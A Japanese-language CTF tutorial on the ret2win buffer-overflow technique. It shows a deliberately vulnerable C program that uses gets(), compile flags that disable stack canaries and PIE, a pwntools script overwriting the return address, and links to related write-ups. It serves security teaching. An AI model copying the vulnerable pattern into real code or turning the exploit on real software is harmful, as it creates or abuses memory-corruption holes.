Ret2win

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基本情報

Ret2win チャレンジは、特に バイナリエクスプロイテーション を含むタスクにおいて、Capture The Flag (CTF) コンペティションで人気のあるカテゴリーです。目的は、特定のバイナリ内で未呼び出しの関数を実行するために、与えられたバイナリの脆弱性を悪用することです。この関数は通常、win、flag などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の リターンアドレス を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。

Cの例

脆弱性を持つシンプルなCプログラムと、呼び出すことを意図している win 関数を考えてみましょう:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

このプログラムをスタック保護なしで、ASLR を無効にしてコンパイルするには、次のコマンドを使用できます：

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c

• -m32: プログラムを32ビットバイナリとしてコンパイルします（これはオプションですが、CTFチャレンジでは一般的です）。

• -fno-stack-protector: スタックオーバーフローに対する保護を無効にします。

• -z execstack: スタック上のコードの実行を許可します。

• -no-pie: 位置独立実行可能ファイルを無効にして、win関数のアドレスが変更されないようにします。

• -o vulnerable: 出力ファイルの名前をvulnerableにします。

Python Exploit using Pwntools

エクスプロイトには、エクスプロイトを書くための強力なCTFフレームワークであるpwntoolsを使用します。エクスプロイトスクリプトは、バッファをオーバーフローさせ、戻りアドレスをwin関数のアドレスで上書きするペイロードを作成します。

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

win関数のアドレスを見つけるには、gdb、objdump、またはバイナリファイルを検査できる他のツールを使用できます。例えば、objdumpを使用して、次のようにできます:

objdump -d vulnerable | grep win

このコマンドは、win 関数のアセンブリを表示し、その開始アドレスを含みます。

Python スクリプトは、vulnerable_function によって処理されると、バッファをオーバーフローさせ、スタック上のリターンアドレスを win のアドレスで上書きするように慎重に作成されたメッセージを送信します。vulnerable_function が戻ると、main に戻るのではなく、win にジャンプし、メッセージが表示されます。

保護

• PIE は無効にするべきです。そうしないと、アドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、win 関数がどこにロードされているかを把握するために何らかの leak が必要になります。オーバーフローを引き起こす関数が read やそれに類似するものである場合、リターンアドレスを win 関数に変更するために 1 または 2 バイトの 部分上書き を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は 1/16（1 ニブル）です。

• スタックカナリア も無効にするべきです。そうしないと、侵害された EIP リターンアドレスは決して追跡されません。

その他の例と参考文献

• https://ir0nstone.gitbook.io/notes/types/stack/ret2win

• https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html

• 32ビット、ASLRなし

• https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html

• ASLRありの64ビット、バイナリアドレスの leak あり

• https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html

• 64ビット、ASLRなし

• https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html

• 32ビット、ASLRなし、ダブル小オーバーフロー、最初にスタックをオーバーフローさせ、2回目のオーバーフローのサイズを拡大

• https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html

• 32ビット、relro、カナリアなし、nx、pieなし、fflush のアドレスを win 関数（ret2win）で上書きするフォーマット文字列

• https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html

• 32ビット、nx、他に何もなし、win 関数を呼び出すための EIP の部分上書き（1バイト）

• https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html

• 32ビット、nx、他に何もなし、win 関数を呼び出すための EIP の部分上書き（1バイト）

• https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html

• プログラムは、入力のサイズをチェックするために数値の最後のバイトのみを検証しているため、最後のバイトが許可された範囲内であれば、任意のサイズを追加することが可能です。その後、入力は ret2win を利用したバッファオーバーフローを引き起こします。

• https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/

• 64ビット、relro、カナリアなし、nx、pie。win 関数（ret2win）を呼び出すための部分上書き

• https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/

• arm64、PIE、win 関数は実際には 2 つの関数であるため、2 つの関数を呼び出す ROP ガジェット

• https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/

• ARM64、オフバイワンで win 関数を呼び出す

ARM64 の例

Ret2win - arm64

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